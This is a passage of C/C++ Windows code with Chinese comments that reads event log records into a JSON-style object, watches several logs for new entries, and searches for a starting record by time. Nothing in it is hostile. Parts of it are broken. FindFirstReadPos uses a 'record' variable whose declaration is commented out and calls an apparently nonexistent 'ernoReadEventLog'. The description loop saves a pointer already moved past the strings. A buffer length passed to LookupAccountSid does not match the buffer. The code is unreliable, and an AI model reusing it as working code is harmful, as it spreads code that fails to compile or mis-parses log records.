*)(&(ptr->TimeWritten))); //取得当地时间 sprintf(Buffer, "%.4hd-%.2hd-%.2hd %.2hd:%.2hd:%.2hd", ptm->tm_year+1900, ptm->tm_mon+1, ptm->tm_mday, ptm->tm_hour, ptm->tm_min, ptm->tm_sec); //Result += Buffer; log_object["时间"] = Buffer; pchar = Data + sizeof(EVENTLOGRECORD); //pchar指向SourceName[] //sprintf(Buffer, "来源\t%s\n", pchar); //事件来源 //Result += Buffer; log_object["来源"] = pchar; //pchar += strlen(pchar) + 1; //pchar指向ComputerName[] //sprintf(Buffer, "计算机\t%s\n", pchar); //机器名 //Result += Buffer; log_object["计算机"] = pchar; pchar += strlen(pchar) + 1; // pchar指向UserSid if(ptr->UserSidLength > 0) { char Name[64]; DWORD Length = sizeof(SID), Length1 = sizeof(Buffer); SID_NAME_USE Type = SidTypeUser; SID *sid = (SID *)(Data + ptr->UserSidOffset); if(LookupAccountSid(NULL, sid, Name, &Length, Buffer, &Length1, &Type)) { //查找用户名 //sprintf(Buffer, "用户\t%s\n", Name); //用户名 //Result+=Buffer; log_object["用户"] = Name; } } if(ptr->DataOffset > ptr->StringOffset) //获取事件描述 { //Result += "[描述]\t"; pchar = Data + i + ptr->StringOffset; for(short j = 0; j < ptr->NumStrings; j++) { //Result += pchar; if(j < ptr->NumStrings-1) //Result += ' '; pchar += strlen(pchar) + 1; } //Result += '\n'; // Result+="[数据]/n"; log_object["[描述]"] = pchar; } //Result+='\n'; i+=ptr->Length; } value["System_log_array"].append(log_object); } //fwrite(Result.c_str(),Result.length(),1,pFile); CloseEventLog(Handle); return 0; }
void EventLogMonitor(void) { DWORD status = ERROR_SUCCESS; DWORD dwWaitReason = 0; DWORD dwLastRecordNumber = 0; int nMonSize = sizeof(event_monitor)/sizeof(struct _EVENT_MONITOR); HANDLE *arrhWaitHandles = (HANDLE*)malloc(nMonSize*sizeof(HANDLE)); g_arrhEventLog = (HANDLE*)malloc(nMonSize*sizeof(HANDLE)); for (int i=0; i<nMonSize; i++) { // Get the DLL that contains the message table string resources for the provider. event_monitor[i].hResource = GetMessageResources(event_monitor[i].resource_dll); if (NULL == event_monitor[i].hResource) { wprintf(L"Fail to load resource file.\n"); } // Get a handle to a manual reset event object that will be signal // when events are written to the log. arrhWaitHandles[i] = CreateEvent(NULL, TRUE, FALSE, NULL); if (NULL == arrhWaitHandles[i]) { wprintf(L"CreateEvent failed with %lu.\n", GetLastError()); } // Open the log file. The source name (provider) must exist as // a subkey of Application. g_arrhEventLog[i] = OpenEventLog(NULL, event_monitor[i].provider_name); //g_arrhEventLog[i] = OpenEventLog(NULL, L"Application"); if (NULL == g_arrhEventLog[i]) { wprintf(L"OpenEventLog failed with 0x%x.\n", GetLastError()); } // Seek to the last record in the event log and read it in order // to position the cursor for reading any new records when the // service notifies you that new records have been written to the // log file. status = SeekToLastRecord(g_arrhEventLog[i]); if (ERROR_SUCCESS != status) { wprintf(L"SeekToLastRecord failed with %lu.\n", status); } // Request notification when events are written to the log. if (!NotifyChangeEventLog(g_arrhEventLog[i], arrhWaitHandles[i])) { wprintf(L"NotifyChangeEventLog failed with %lu.\n", GetLastError()); goto cleanup; } } wprintf(L"Waiting for notification of new events...\n\n"); // Loop until the user presses a key or there is an error. while (true) { if (0 == g_enable_monitor) { break; } dwWaitReason = WaitForMultipleObjects(nMonSize, arrhWaitHandles, FALSE, /*INFINITE*/10*1000); dwWaitReason -= WAIT_OBJECT_0; if (dwWaitReason >= 0 && dwWaitReason < nMonSize) { if (ERROR_SUCCESS != (status = DumpNewRecords(dwWaitReason))) { wprintf(L"DumpNewRecords failed.\n"); break; } wprintf(L"\nWaiting for notification of new events...\n"); ResetEvent(arrhWaitHandles[dwWaitReason]); } else if (dwWaitReason == WAIT_TIMEOUT) { printf("WaitForMultiple Timeout.\n"); } else { if (WAIT_FAILED == dwWaitReason) { wprintf(L"WaitForSingleObject failed with %lu\n", GetLastError()); } break; } } cleanup: for (int i=0; i<nMonSize; i++) { if (g_arrhEventLog[i]) CloseEventLog(g_arrhEventLog[i]); if (arrhWaitHandles[i]) CloseHandle(arrhWaitHandles[i]); if (event_monitor[i].hResource) FreeLibrary(event_monitor[i].hResource); } if (arrhWaitHandles) free(arrhWaitHandles); if (g_arrhEventLog) free(g_arrhEventLog); }
/*--------------------------[ FindFirstReadPos ]-------------------------- * Find approx start position in the event log to start finding entries from - dont want to start sequentially from the beginning * * Returns: * 0 empty event log, or error ; just go from the beginnning * value record offset *----------------------------------------------------------------------------*/ DWORD FindFirstReadPos(char *name,uint32 lastrun) { DWORD minPos=0; DWORD maxPos; DWORD probe; int status; //char buffer[2048]; uint32 bytes; uint32 next; //EVENTLOGRECORD *record = (EVENTLOGRECORD *)&buffer; HANDLE hLog; if ((hLog = OpenEventLog(NULL, name)) == NULL) return 0; //Find min status=ernoReadEventLog(hLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ,0, &bytes, &next); if (status==0) { CloseEventLog(hLog); return 0; } minPos=record->RecordNumber; CloseEventLog(hLog); if ((hLog = OpenEventLog(NULL, name)) == NULL) return 0; //Find min status=ernoReadEventLog(hLog, EVENTLOG_BACKWARDS_READ | EVENTLOG_SEQUENTIAL_READ,0, &bytes, &next); if (status==0) { CloseEventLog(hLog); return 0; } maxPos=record->RecordNumber; CloseEventLog(hLog); probe=(DWORD)(minPos+0.9*(maxPos-minPos)); while(true) { if ((maxPos-minPos)<200) { return minPos; } if ((hLog = OpenEventLog(NULL, name)) == NULL) return 0; status=ernoReadEventLog(hLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEEK_READ,probe, &bytes, &next); CloseEventLog(hLog); if (status==0) { return minPos; } if ( (record->TimeWritten >= lastrun)) { maxPos=record->RecordNumber; } else { minPos=record->RecordNumber; } probe=(DWORD)((minPos+maxPos)/2); } return 0; }